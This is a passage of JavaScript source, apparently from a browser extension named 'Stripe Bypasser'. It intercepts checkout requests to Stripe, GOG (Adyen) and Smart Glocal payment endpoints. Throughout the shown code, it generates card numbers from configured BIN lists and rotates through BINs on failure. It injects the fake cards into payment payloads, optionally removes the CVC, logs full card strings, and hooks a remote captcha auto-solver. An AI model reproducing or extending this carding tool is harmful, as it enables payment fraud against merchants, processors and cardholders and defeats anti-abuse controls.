        window.requestIdleCallback(andSolveCaptchasCallback, timeoutOptions);
      } else {
        andSolveCaptchasCallback();
      }
      captchaCheckTimeout = null;
    }, captchaObserveDelay);
  }
  function handleCaptchaFormSubmit() {
    if (shouldUseRemoteCaptchaSolver() && !isCaptchaAutoSolveRunning) {
      setTimeout(() => {
        check();
      }, 500);
    }
  }
  function handleCaptchaCheckMessage(event) {
    if (event.data && event.data.type === "STRIPE_BYPASSER_CHECK_CAPTCHA") {
      check();
    }
  }
  reloadCaptchaSettings();
  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", () => {
      reloadCaptchaSettings();
    });
  }
  if (typeof window !== "undefined") {
    window.addEventListener("message", event => {
      if (
        event.data &&
        event.data.type === "STRIPE_BYPASSER_ADVANCED_SETTINGS" &&
        event.data.settings
      ) {
        window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ = event.data.settings;
        reloadCaptchaSettings();
      }
    });
    if (typeof chrome !== "undefined" && chrome.storage) {
      chrome.storage.onChanged.addListener((changes, areaName) => {
        if (areaName === "local" && changes.bypasserAdvancedSettings) {
          setTimeout(() => {
            reloadCaptchaSettings();
          }, 50);
        }
      });
    }
    window.addEventListener("beforeunload", () => {
      stopCaptchaMonitor();
    });
    window.addEventListener("pagehide", () => {
      stopCaptchaMonitor();
    });
  }
  if (typeof window !== "undefined") {
    window.StripeBypasserCaptchaHandler = {
      check,
      start,
      stop: stopCaptchaMonitor,
      loadSettings: reloadCaptchaSettings
    };
  }
  function handleStripePaymentRequest(payload, cardData) {
    if (typeof window !== "undefined" && window._auth_blocked) {
      return payload;
    }
    try {
      cardData ||= getActiveBypasserSettings({
        enabled: false
      });
      if (!cardData || !cardData.enabled) {
        stripeBypasserLogger.warn(
          "[PaymentHandler] Extension disabled or settings not enabled. Settings:",
          cardData
        );
        const isEmbeddedStripeFrame = typeof window !== "undefined" && window.top !== window.self;
        const isOnStripeDomain =
          typeof window !== "undefined" &&
          window.location &&
          window.location.hostname &&
          window.location.hostname.includes("stripe.com");
        if (isEmbeddedStripeFrame || isOnStripeDomain) {
          try {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_SHOW_BANNER",
                bannerText: "Card Details Sent",
                bannerType: "info",
                details: "Processing payment method..."
              },
              "*"
            );
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
          setTimeout(() => {
            try {
              window.createStripeBypassBanner(
                "Card Details Sent",
                "info",
                "Processing payment method..."
              );
            } catch (error) {
              stripeBypasserLogger.warn("[PaymentHandler] Banner error:", error);
            }
          }, 0);
        }
        return payload;
      }
      let binList = [];
      try {
        if (Array.isArray(cardData.bin)) {
          binList = cardData.bin
            .filter(item => item && typeof item === "string")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        } else if (cardData.bin && typeof cardData.bin === "string" && cardData.bin.trim()) {
          binList = cardData.bin
            .split("\n")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        }
      } catch (error) {
        stripeBypasserLogger.error("[PaymentHandler] Error parsing BIN list:", error);
        return payload;
      }
      if (binList.length === 0) {
        stripeBypasserLogger.warn(
          "[PaymentHandler] No BINs configured. Settings.bin:",
          cardData.bin
        );
        const isEmbeddedStripeFrame = typeof window !== "undefined" && window.top !== window.self;
        const isOnStripeDomain =
          typeof window !== "undefined" &&
          window.location &&
          window.location.hostname &&
          window.location.hostname.includes("stripe.com");
        if (isEmbeddedStripeFrame || isOnStripeDomain) {
          try {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_SHOW_BANNER",
                bannerText: "Card Details Sent",
                bannerType: "info",
                details: "Processing payment method..."
              },
              "*"
            );
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
          setTimeout(() => {
            try {
              window.createStripeBypassBanner(
                "Card Details Sent",
                "info",
                "Processing payment method..."
              );
            } catch (error) {
              stripeBypasserLogger.warn("[PaymentHandler] Banner error:", error);
            }
          }, 0);
        }
        return payload;
      }
      if (typeof window !== "undefined" && !window.__StripeBypasserBinRotation) {
        window.__StripeBypasserBinRotation = {
          currentIndex: 0,
          lastResetTime: Date.now()
        };
      }
      let binRotationIndex =
        typeof window !== "undefined" && window.__StripeBypasserBinRotation
          ? window.__StripeBypasserBinRotation.currentIndex
          : 0;
      let parsedPayload = null;
      let bin = null;
      let allBinsFailed = true;
      let attempts = 0;
      const maxAttempts = binList.length;
      let stripeBypasserCardGenerator = null;
      const waitStartAt = Date.now();
      while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < 300) {
        if (
          typeof window !== "undefined" &&
          window.StripeBypasserCardGenerator &&
          window.StripeBypasserCardGenerator.parseBin &&
          window.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
          break;
        }
        if (
          typeof globalThis !== "undefined" &&
          globalThis.StripeBypasserCardGenerator &&
          globalThis.StripeBypasserCardGenerator.parseBin &&
          globalThis.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = globalThis.StripeBypasserCardGenerator;
          if (typeof window !== "undefined") {
            window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
          }
          break;
        }
        const isDateNow = Date.now() + 10;
        while (Date.now() < isDateNow);
      }
      if (!stripeBypasserCardGenerator) {
        stripeBypasserLogger.error(
          "[PaymentHandler] CardGenerator not available after waiting. Available:",
          {
            hasCardGenerator: typeof window !== "undefined" && !!window.StripeBypasserCardGenerator,
            hasParseBin:
              typeof window !== "undefined" &&
              !!window.StripeBypasserCardGenerator &&
              !!window.StripeBypasserCardGenerator.parseBin,
            hasGenerateCard:
              typeof window !== "undefined" &&
              !!window.StripeBypasserCardGenerator &&
              !!window.StripeBypasserCardGenerator.generateCard,
            hasGlobalThis: typeof globalThis !== "undefined",
            hasGlobalThisCardGenerator:
              typeof globalThis !== "undefined" && !!globalThis.StripeBypasserCardGenerator,
            waitTime: Date.now() - waitStartAt
          }
        );
        return payload;
      }
      while (attempts < maxAttempts) {
        let currentBin = null;
        try {
          const isStripeBypasserBinList = binRotationIndex % binList.length;
          currentBin = binList[isStripeBypasserBinList];
          if (
            !stripeBypasserCardGenerator?.parseBin ||
            !stripeBypasserCardGenerator?.generateCard
          ) {
            stripeBypasserCardGenerator = getAvailableCardGenerator();
          }
          if (
            !stripeBypasserCardGenerator?.parseBin ||
            !stripeBypasserCardGenerator?.generateCard
          ) {
            stripeBypasserLogger.error(
              "[PaymentHandler] CardGenerator lost during generation. Available:",
              {
                hasCardGenerator:
                  typeof window !== "undefined" && !!window.StripeBypasserCardGenerator,
                hasParseBin:
                  typeof window !== "undefined" &&
                  !!window.StripeBypasserCardGenerator &&
                  !!window.StripeBypasserCardGenerator.parseBin,
                hasGenerateCard:
                  typeof window !== "undefined" &&
                  !!window.StripeBypasserCardGenerator &&
                  !!window.StripeBypasserCardGenerator.generateCard
              }
            );
            break;
          }
          const binMetadata = stripeBypasserCardGenerator.parseBin(currentBin);
          if (!binMetadata) {
            stripeBypasserLogger.warn("[PaymentHandler] Failed to parse BIN:", currentBin);
            binRotationIndex++;
            attempts++;
            continue;
          }
          const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
          parsedPayload = stripeBypasserCardGenerator.generateCard(
            binMetadata,
            hasCardCvcModeGenerate
          );
          if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
            parsedPayload.cvc = cardData.customCvc;
          }
          if (parsedPayload) {
            bin = currentBin;
            allBinsFailed = false;
            if (typeof window !== "undefined" && window.__StripeBypasserBinRotation) {
              window.__StripeBypasserBinRotation.currentIndex =
                (binRotationIndex + 1) % binList.length;
            }
            stripeBypasserLogger.log("[PaymentHandler] Card generated successfully:", {
              bin,
              cardNumber: parsedPayload.number
                ? parsedPayload.number.substring(0, 4) +
                  "****" +
                  parsedPayload.number.substring(parsedPayload.number.length - 4)
                : "N/A",
              month: parsedPayload.month,
              year: parsedPayload.year
            });
            break;
          }
          stripeBypasserLogger.warn(
            "[PaymentHandler] Card generation returned null for BIN:",
            currentBin,
            "binData:",
            binMetadata
          );
          binRotationIndex++;
          attempts++;
        } catch (error) {
          stripeBypasserLogger.error(
            "[PaymentHandler] Error generating card:",
            error,
            "BIN:",
            currentBin
          );
          binRotationIndex++;
          attempts++;
        }
      }
      if (allBinsFailed || !parsedPayload) {
        const allBinsFailedInfo = {
          allBinsFailed,
          hasGeneratedCard: !!parsedPayload,
          attempts,
          maxAttempts,
          binListLength: binList.length
        };
        stripeBypasserLogger.error(
          "[PaymentHandler] Failed to generate card. All BINs failed:",
          allBinsFailedInfo
        );
        const bannerDetails =
          binList.length > 1 ? "All " + binList.length + " BINs failed" : "Card Generation Failed";
        const isEmbeddedStripeFrame = typeof window !== "undefined" && window.top !== window.self;
        const isOnStripeDomain =
          typeof window !== "undefined" &&
          window.location &&
          window.location.hostname &&
          window.location.hostname.includes("stripe.com");
        if (isEmbeddedStripeFrame || isOnStripeDomain) {
          try {
            const typeInfo = {
              type: "STRIPE_BYPASSER_SHOW_BANNER",
              bannerText: "Card Generation Failed",
              bannerType: "error",
              details: bannerDetails
            };
            window.postMessage(typeInfo, "*");
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
          setTimeout(() => {
            try {
              window.createStripeBypassBanner("Card Generation Failed", "error", bannerDetails);
            } catch (error) {
              stripeBypasserLogger.warn("[PaymentHandler] Banner error:", error);
            }
          }, 0);
        }
        return payload;
      }
      const cardBrand = getCardBrand(parsedPayload.number);
      try {
        if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
          const storedCardTask = window.StripeBypasserCardStorage.store(parsedPayload);
          if (storedCardTask && typeof storedCardTask.then === "function") {
            storedCardTask.catch(asyncError => {
              stripeBypasserLogger.error("[PaymentHandler] Card storage error:", asyncError);
            });
          }
        }
        try {
          const cardSummary =
            parsedPayload.number +
            "|" +
            String(parsedPayload.month || "").padStart(2, "0") +
            "|" +
            String(parsedPayload.year || "").slice(-2);
          const cardLogString =
            cardData?.cvcMode === "remove"
              ? cardSummary
              : cardSummary + "|" + (parsedPayload.cvc || "");
          if (typeof window !== "undefined" && window.localStorage) {
            window.localStorage.setItem("stripeBypasserLastCardString", cardLogString);
            window.localStorage.setItem("stripeBypasserLastCard", JSON.stringify(parsedPayload));
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
        try {
          const cardSummary =
            parsedPayload.number +
            "|" +
            String(parsedPayload.month || "").padStart(2, "0") +
            "|" +
            String(parsedPayload.year || "").slice(-2);
          const cardLogString =
            cardData?.cvcMode === "remove"
              ? cardSummary
              : cardSummary + "|" + (parsedPayload.cvc || "");
          if (typeof window !== "undefined" && window.postMessage) {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message: "Stripe: " + cardLogString + " (" + cardBrand + ")",
                logType: "info"
              },
              "*"
            );
          }
          if (typeof document !== "undefined" && document && document.dispatchEvent) {
            document.dispatchEvent(
              new CustomEvent("stripeBypasserPaymentLog", {
                detail: {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message: "Stripe: " + cardLogString + " (" + cardBrand + ")",
                  logType: "info"
                }
              })
            );
          }
        } catch (error) {
          stripeBypasserLogger.error("[PaymentHandler] Error logging card:", error);
        }
      } catch (error) {
        stripeBypasserLogger.error("[PaymentHandler] Error storing/logging card:", error);
      }
      if (payload.body) {
        try {
          if (
            typeof window === "undefined" ||
            !window.StripeBypasserPayload ||
            !window.StripeBypasserPayload.replaceCardInPayload
          ) {
            stripeBypasserLogger.error("[PaymentHandler] PayloadManipulator not available");
            return payload;
          }
          let { body } = payload;
          if (typeof payload.body === "string") {
            body = window.StripeBypasserPayload.replaceCardInPayload(payload.body, parsedPayload);
          } else if (payload.body instanceof FormData) {
            stripeBypasserLogger.warn(
              "FormData payload for payment_methods detected. Card replacement skipped. Use URL-encoded form data."
            );
          } else if (payload.body instanceof URLSearchParams) {
            const serializedPayload = payload.body.toString();
            const updatedPayloadText = window.StripeBypasserPayload.replaceCardInPayload(
              serializedPayload,
              parsedPayload
            );
            body = new URLSearchParams(updatedPayloadText);
          }
          payload = {
            ...payload,
            body,
            headers: window.StripeBypasserPayload.preserveHeaders(payload.headers)
          };
        } catch (error) {
          stripeBypasserLogger.error("[PaymentHandler] Error replacing card in payload:", error);
          return payload;
        }
      }
      const isTopSelf = typeof window !== "undefined" && window.top !== window.self;
      const isOnStripeDomain =
        typeof window !== "undefined" &&
        window.location &&
        window.location.hostname &&
        window.location.hostname.includes("stripe.com");
      if (isTopSelf || isOnStripeDomain) {
        try {
          window.postMessage(
            {
              type: "STRIPE_BYPASSER_SHOW_BANNER",
              bannerText: "Stripe Bypass",
              bannerType: "success",
              details: null
            },
            "*"
          );
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
      } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
        setTimeout(() => {
          try {
            window.createStripeBypassBanner("Card Generated & Sent", "success");
          } catch (error) {
            stripeBypasserLogger.warn("[PaymentHandler] Banner error:", error);
          }
        }, 0);
      }
      return payload;
    } catch (error) {
      stripeBypasserLogger.error(
        "[PaymentHandler] Fatal error in handlePaymentMethodsRequest:",
        error
      );
      return payload;
    }
  }
  const stripeBypasserPayment = {
    handlePaymentMethods: handleStripePaymentRequest
  };
  if (typeof window !== "undefined") {
    window.StripeBypasserPayment = stripeBypasserPayment;
  }
  function handleGogPayment(payload, cardData) {
    try {
      console.log("[GogHandler] handleGogPaymentRequest called", {
        hasBody: !!payload.body,
        bodyType: typeof payload.body,
        url: payload.url || "N/A"
      });
      stripeBypasserLogger.log("[GogHandler] handleGogPaymentRequest called", {
        hasBody: !!payload.body,
        bodyType: typeof payload.body,
        url: payload.url || "N/A"
      });
      cardData ||= getActiveBypasserSettings({
        enabled: false
      });
      if (!cardData || !cardData.enabled) {
        stripeBypasserLogger.warn("[GogHandler] Extension disabled or settings not enabled");
        return payload;
      }
      let binList = [];
      try {
        if (Array.isArray(cardData.bin)) {
          binList = cardData.bin
            .filter(item => item && typeof item === "string")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        } else if (cardData.bin && typeof cardData.bin === "string" && cardData.bin.trim()) {
          binList = cardData.bin
            .split("\n")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        }
      } catch (error) {
        return payload;
      }
      if (binList.length === 0) {
        stripeBypasserLogger.warn("[GogHandler] No BINs configured");
        return payload;
      }
      if (!payload.body) {
        stripeBypasserLogger.warn("[GogHandler] No body in request options");
        return payload;
      }
      let requestBody = payload.body;
      if (
        typeof payload.body !== "object" ||
        payload.body instanceof FormData ||
        payload.body instanceof URLSearchParams
      ) {
        if (typeof payload.body !== "string") {
          requestBody = String(payload.body);
        }
      } else {
        requestBody = JSON.stringify(payload.body);
      }
      const hasAdyenFields =
        requestBody.includes("encryptedCardNumber") ||
        requestBody.includes("encryptedSecurityCode") ||
        requestBody.includes("encryptedExpiryMonth") ||
        requestBody.includes("encryptedExpiryYear");
      if (!hasAdyenFields) {
        stripeBypasserLogger.debug(
          "[GogHandler] Skipping - request does not contain Adyen encrypted fields (early request, no card generation)",
          {
            bodyPreview: requestBody.substring(0, 300),
            url: payload.url
          }
        );
        return payload;
      }
      if (typeof window !== "undefined" && !window.__GogBypasserBinRotation) {
        window.__GogBypasserBinRotation = {
          currentIndex: 0,
          lastResetTime: Date.now()
        };
      }
      let currentBinIndex =
        typeof window !== "undefined" && window.__GogBypasserBinRotation
          ? window.__GogBypasserBinRotation.currentIndex
          : 0;
      let parsedPayload = null;
      let binAttemptCount = 0;
      const totalBinCount = binList.length;
      let stripeBypasserCardGenerator = null;
      const waitStartAt = Date.now();
      while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < 300) {
        if (
          typeof window !== "undefined" &&
          window.StripeBypasserCardGenerator &&
          window.StripeBypasserCardGenerator.parseBin &&
          window.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
          break;
        }
        if (
          typeof globalThis !== "undefined" &&
          globalThis.StripeBypasserCardGenerator &&
          globalThis.StripeBypasserCardGenerator.parseBin &&
          globalThis.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = globalThis.StripeBypasserCardGenerator;
          if (typeof window !== "undefined") {
            window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
          }
          break;
        }
        const isDateNow = Date.now() + 10;
        while (Date.now() < isDateNow);
      }
      if (!stripeBypasserCardGenerator) {
        return payload;
      }
      while (binAttemptCount < totalBinCount) {
        try {
          const currentBinPattern = binList[currentBinIndex % binList.length];
          const binMetadata = stripeBypasserCardGenerator.parseBin(currentBinPattern);
          if (!binMetadata) {
            currentBinIndex++;
            binAttemptCount++;
            continue;
          }
          const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
          parsedPayload = stripeBypasserCardGenerator.generateCard(
            binMetadata,
            hasCardCvcModeGenerate
          );
          if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
            parsedPayload.cvc = cardData.customCvc;
          }
          if (parsedPayload) {
            if (typeof window !== "undefined" && window.__GogBypasserBinRotation) {
              window.__GogBypasserBinRotation.currentIndex = (currentBinIndex + 1) % binList.length;
            }
            break;
          }
          currentBinIndex++;
          binAttemptCount++;
        } catch (error) {
          currentBinIndex++;
          binAttemptCount++;
        }
      }
      if (!parsedPayload) {
        stripeBypasserLogger.error("[GogHandler] Failed to generate card");
        return payload;
      }
      try {
        const cardSummary =
          parsedPayload.number +
          "|" +
          String(parsedPayload.month || "").padStart(2, "0") +
          "|" +
          String(parsedPayload.year || "").slice(-2);
        const cardLogString =
          cardData?.cvcMode === "remove"
            ? cardSummary
            : cardSummary + "|" + (parsedPayload.cvc || "");
        const cardBrand = getCardBrand(parsedPayload.number);
        if (typeof window !== "undefined" && window.postMessage) {
          window.postMessage(
            {
              type: "STRIPE_BYPASSER_PAYMENT_LOG",
              message: "GOG: " + cardLogString + " (" + cardBrand + ")",
              logType: "info"
            },
            "*"
          );
        }
        if (typeof document !== "undefined" && document && document.dispatchEvent) {
          document.dispatchEvent(
            new CustomEvent("stripeBypasserPaymentLog", {
              detail: {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message: "GOG: " + cardLogString + " (" + cardBrand + ")",
                logType: "info"
              }
            })
          );
        }
        console.log("[GogHandler] Card generated and logged", {
          cardNumber: parsedPayload.number
            ? parsedPayload.number.substring(0, 4) +
              "****" +
              parsedPayload.number.substring(parsedPayload.number.length - 4)
            : "N/A",
          month: parsedPayload.month,
          year: parsedPayload.year,
          cardType: cardBrand
        });
      } catch (error) {
        console.error("[GogHandler] Error logging card:", error);
      }
      stripeBypasserLogger.log("[GogHandler] Card generated", {
        cardNumber: parsedPayload.number
          ? parsedPayload.number.substring(0, 4) +
            "****" +
            parsedPayload.number.substring(parsedPayload.number.length - 4)
          : "N/A",
        month: parsedPayload.month,
        year: parsedPayload.year
      });
      try {
        if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
          window.StripeBypasserCardStorage.store(parsedPayload);
        }
        const cardSummary =
          parsedPayload.number +
          "|" +
          String(parsedPayload.month || "").padStart(2, "0") +
          "|" +
          String(parsedPayload.year || "").slice(-2);
        const cardLogString =
          cardData?.cvcMode === "remove"
            ? cardSummary
            : cardSummary + "|" + (parsedPayload.cvc || "");
        if (typeof window !== "undefined" && window.localStorage) {
          window.localStorage.setItem("gogBypasserLastCardString", cardLogString);
          window.localStorage.setItem("gogBypasserLastCard", JSON.stringify(parsedPayload));
        }
      } catch (error) {
        stripeBypasserLogger.error("[GogHandler] Error storing card:", error);
      }
      if (
        typeof window === "undefined" ||
        !window.StripeBypasserPayload ||
        !window.StripeBypasserPayload.replaceCardInAdyenPayload
      ) {
        stripeBypasserLogger.error("[GogHandler] PayloadManipulator not available");
        return payload;
      }
      let payloadWasModified = false;
      let body = null;
      try {
        stripeBypasserLogger.log("[GogHandler] Processing payload with Adyen encrypted fields", {
          bodyType: typeof payload.body,
          bodyLength: requestBody.length,
          bodyPreview: requestBody.substring(0, 200) + "...",
          hasAdyenFields,
          payloadManipulatorAvailable:
            !!window.StripeBypasserPayload &&
            !!window.StripeBypasserPayload.replaceCardInAdyenPayload
        });
        body = window.StripeBypasserPayload.replaceCardInAdyenPayload(
          requestBody,
          parsedPayload,
          cardData
        );
        if (body && body !== requestBody) {
          payloadWasModified = true;
          payload = {
            ...payload,
            body,
            headers: window.StripeBypasserPayload.preserveHeaders(
              payload.headers,
              "application/json"
            )
          };
          const cvcRemoved =
            requestBody.includes('"encryptedSecurityCode"') &&
            !body.includes('"encryptedSecurityCode"');
          console.log("[GogHandler] ✅ Payload modified successfully", {
            originalLength: requestBody.length,
            modifiedLength: body.length,
            cvcRemoved,
            cardNumber: parsedPayload.number
              ? parsedPayload.number.substring(0, 4) +
                "****" +
                parsedPayload.number.substring(parsedPayload.number.length - 4)
              : "N/A"
          });
          stripeBypasserLogger.log("[GogHandler] Payload modified successfully", {
            originalLength: requestBody.length,
            modifiedLength: body.length,
            cvcRemoved
          });
        } else {
          console.warn(
            "[GogHandler] ⚠️ Payload was not modified - card generated but not injected",
            {
              returnedNull: body === null,
              sameAsOriginal: body === requestBody,
              hasAdyenFields,
              bodyPreview: requestBody.substring(0, 300),
              note: "Adyen encryption required to inject generated card. Check if payload contains encryptedCardNumber field."
            }
          );
          stripeBypasserLogger.warn("[GogHandler] Payload was not modified", {
            returnedNull: body === null,
            sameAsOriginal: body === requestBody,
            hasAdyenFields
          });
        }
      } catch (error) {
        console.error("[GogHandler] Error replacing card in payload:", error);
        stripeBypasserLogger.error("[GogHandler] Error replacing card in payload:", error);
      }
      if (payloadWasModified && body) {
        payload.__gogPayloadModified = true;
        payload.__gogCardInjected = true;
      } else {
        payload.__gogPayloadModified = false;
        payload.__gogCardInjected = false;
      }
      return payload;
    } catch (error) {
      console.error("[GogHandler] Error in handleGogPaymentRequest:", error);
      stripeBypasserLogger.error("[GogHandler] Error in handleGogPaymentRequest:", error);
      return payload;
    }
  }
  const gogBypasserPayment = {
    handleGogPayment
  };
  if (typeof window !== "undefined") {
    window.GogBypasserPayment = gogBypasserPayment;
  }
  function handleSmartGlocalPayment(payload, cardData) {
    try {
      stripeBypasserLogger.log("[SmartGlocalHandler] handleSmartGlocalPaymentRequest called", {
        hasBody: !!payload.body,
        bodyType: typeof payload.body,
        url: payload.url || "N/A"
      });
      cardData ||= getActiveBypasserSettings({
        enabled: false
      });
      if (!cardData || !cardData.enabled) {
        stripeBypasserLogger.warn(
          "[SmartGlocalHandler] Extension disabled or settings not enabled"
        );
        return payload;
      }
      let binList = [];
      try {
        if (Array.isArray(cardData.bin)) {
          binList = cardData.bin
            .filter(item => item && typeof item === "string")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        } else if (cardData.bin && typeof cardData.bin === "string" && cardData.bin.trim()) {
          binList = cardData.bin
            .split("\n")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        }
      } catch (error) {
        return payload;
      }
      if (binList.length === 0) {
        stripeBypasserLogger.warn("[SmartGlocalHandler] No BINs configured");
        return payload;
      }
      if (!payload.body) {
        stripeBypasserLogger.warn("[SmartGlocalHandler] No body in request options");
        return payload;
      }
      let requestBody = payload.body;
      if (
        typeof payload.body !== "object" ||
        payload.body instanceof FormData ||
        payload.body instanceof URLSearchParams
      ) {
        if (typeof payload.body !== "string") {
          requestBody = String(payload.body);
        }
      } else {
        requestBody = JSON.stringify(payload.body);
      }
      if (
        !requestBody.includes('"paymentDetails"') ||
        !requestBody.includes('"card"') ||
        (!requestBody.includes('"number"') && !requestBody.includes('"expirationMonth"'))
      ) {
        stripeBypasserLogger.debug(
          "[SmartGlocalHandler] Skipping - request does not contain Smart Glocal payload structure",
          {
            bodyPreview: requestBody.substring(0, 300),
            url: payload.url
          }
        );
        return payload;
      }
      if (typeof window !== "undefined" && !window.__SmartGlocalBypasserBinRotation) {
        window.__SmartGlocalBypasserBinRotation = {
          currentIndex: 0,
          lastResetTime: Date.now()
        };
      }
      let currentBinIndex =
        typeof window !== "undefined" && window.__SmartGlocalBypasserBinRotation
          ? window.__SmartGlocalBypasserBinRotation.currentIndex
          : 0;
      let parsedPayload = null;
      let binAttemptCount = 0;
      const totalBinCount = binList.length;
      let stripeBypasserCardGenerator = null;
      const waitStartAt = Date.now();
      while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < 300) {
        if (
          typeof window !== "undefined" &&
          window.StripeBypasserCardGenerator &&
          window.StripeBypasserCardGenerator.parseBin &&
          window.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
          break;
        }
        if (
          typeof globalThis !== "undefined" &&
          globalThis.StripeBypasserCardGenerator &&
          globalThis.StripeBypasserCardGenerator.parseBin &&
          globalThis.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = globalThis.StripeBypasserCardGenerator;
          if (typeof window !== "undefined") {
            window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
          }
          break;
        }
        const isDateNow = Date.now() + 10;
        while (Date.now() < isDateNow);
      }
      if (!stripeBypasserCardGenerator) {
        return payload;
      }
      while (binAttemptCount < totalBinCount) {
        try {
          const currentBinPattern = binList[currentBinIndex % binList.length];
          const binMetadata = stripeBypasserCardGenerator.parseBin(currentBinPattern);
          if (!binMetadata) {
            currentBinIndex++;
            binAttemptCount++;
            continue;
          }
          const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
          parsedPayload = stripeBypasserCardGenerator.generateCard(
            binMetadata,
            hasCardCvcModeGenerate
          );
          if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
            parsedPayload.cvc = cardData.customCvc;
          }
          if (parsedPayload) {
            if (typeof window !== "undefined" && window.__SmartGlocalBypasserBinRotation) {
              window.__SmartGlocalBypasserBinRotation.currentIndex =
                (currentBinIndex + 1) % binList.length;
            }
            break;
          }
          currentBinIndex++;
          binAttemptCount++;
        } catch (error) {
          currentBinIndex++;
          binAttemptCount++;
        }
      }
      if (!parsedPayload) {
        stripeBypasserLogger.error("[SmartGlocalHandler] Failed to generate card");
        return payload;
      }
      const cardBrand = getCardBrand(parsedPayload.number);
      const cardSummary =
        parsedPayload.number +
        "|" +
        String(parsedPayload.month || "").padStart(2, "0") +
        "|" +
        String(parsedPayload.year || "").slice(-2);
      const cardLogString =
        cardData?.cvcMode === "remove"
          ? cardSummary
          : cardSummary + "|" + (parsedPayload.cvc || "");
      if (typeof window !== "undefined" && window.postMessage) {
        window.postMessage(
          {
            type: "STRIPE_BYPASSER_PAYMENT_LOG",
            message: "Smart Glocal: " + cardLogString + " (" + cardBrand + ")",
            logType: "info"
          },
          "*"
        );
      }
      if (typeof document !== "undefined" && document && document.dispatchEvent) {
        document.dispatchEvent(
          new CustomEvent("stripeBypasserPaymentLog", {
            detail: {
              type: "STRIPE_BYPASSER_PAYMENT_LOG",
              message: "Smart Glocal: " + cardLogString + " (" + cardBrand + ")",
              logType: "info"
            }
          })
        );
      }
      stripeBypasserLogger.log("[SmartGlocalHandler] Card generated", {
        cardNumber: parsedPayload.number
          ? parsedPayload.number.substring(0, 4) +
            "****" +
            parsedPayload.number.substring(parsedPayload.number.length - 4)
          : "N/A",
        month: parsedPayload.month,
        year: parsedPayload.year
      });
      try {
        if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
          window.StripeBypasserCardStorage.store(parsedPayload);
        }
        if (typeof window !== "undefined" && window.localStorage) {
          window.localStorage.setItem("smartGlocalBypasserLastCardString", cardLogString);
          window.localStorage.setItem("smartGlocalBypasserLastCard", JSON.stringify(parsedPayload));
        }
      } catch (error) {
        stripeBypasserLogger.error("[SmartGlocalHandler] Error storing card:", error);
      }
      if (
        typeof window === "undefined" ||
        !window.StripeBypasserPayload ||
        !window.StripeBypasserPayload.replaceCardInSmartGlocalPayload
      ) {
        stripeBypasserLogger.error("[SmartGlocalHandler] PayloadManipulator not available");
        return payload;
      }
      let payloadWasModified = false;
      let body = null;
      try {
        body = window.StripeBypasserPayload.replaceCardInSmartGlocalPayload(
          requestBody,
          parsedPayload,
          cardData
        );
        if (body && body !== requestBody) {
          payloadWasModified = true;
          payload = {
            ...payload,
            body,
            headers: window.StripeBypasserPayload.preserveHeaders(
              payload.headers,
              "application/json"
            )
          };
          stripeBypasserLogger.log("[SmartGlocalHandler] Payload modified successfully", {
            originalLength: requestBody.length,
            modifiedLength: body.length,
            cardNumber: parsedPayload.number
              ? parsedPayload.number.substring(0, 4) +
                "****" +
                parsedPayload.number.substring(parsedPayload.number.length - 4)
              : "N/A"
          });
        } else {
          stripeBypasserLogger.warn("[SmartGlocalHandler] Payload was not modified", {
            returnedNull: body === null,
            sameAsOriginal: body === requestBody
          });
        }
      } catch (error) {
        stripeBypasserLogger.error("[SmartGlocalHandler] Error replacing card in payload:", error);
      }
      if (payloadWasModified && body) {
        payload.__smartGlocalPayloadModified = true;
        payload.__smartGlocalCardInjected = true;
        const isTopSelf = typeof window !== "undefined" && window.top !== window.self;
        const isSmartGlocalHost =
          typeof window !== "undefined" &&
          window.location &&
          window.location.hostname &&
          window.location.hostname.includes("smart-glocal.com");
        if (isTopSelf || isSmartGlocalHost) {
          try {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_SHOW_BANNER",
                bannerText: "Card Generated & Sent",
                bannerType: "success",
                details: null
              },
              "*"
            );
          } catch (error) {
            stripeBypasserLogger.warn("[SmartGlocalHandler] PostMessage banner error:", error);
          }
